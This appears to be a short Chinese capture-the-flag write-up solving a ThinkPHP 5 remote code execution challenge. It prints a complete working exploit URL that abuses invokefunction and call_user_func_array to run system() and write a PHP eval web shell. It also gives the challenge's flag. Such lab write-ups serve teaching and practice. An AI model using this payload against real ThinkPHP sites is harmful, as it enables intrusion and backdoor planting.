XCTF_Web_003_php_rce

Writeup

看题目，应该是ThinkPHP的RCE漏洞

ThinkPHP的V5版本未对控制器进行过滤，导致攻击者可以通过引入\符号来调用任意类方法

// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

不知怎么利用就google搜一下POC

搜索flag
find / -name flag

cat 查看

Writeup2

写入webshell

http://111.200.241.244:57672/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20eval($_POST[shell]);%20?%3E%27%20%3E%20shell.php

查看网站目录，已经将shell.php写进去了

上蚁剑

浏览一下

FLAG

flag{thinkphp5_rce}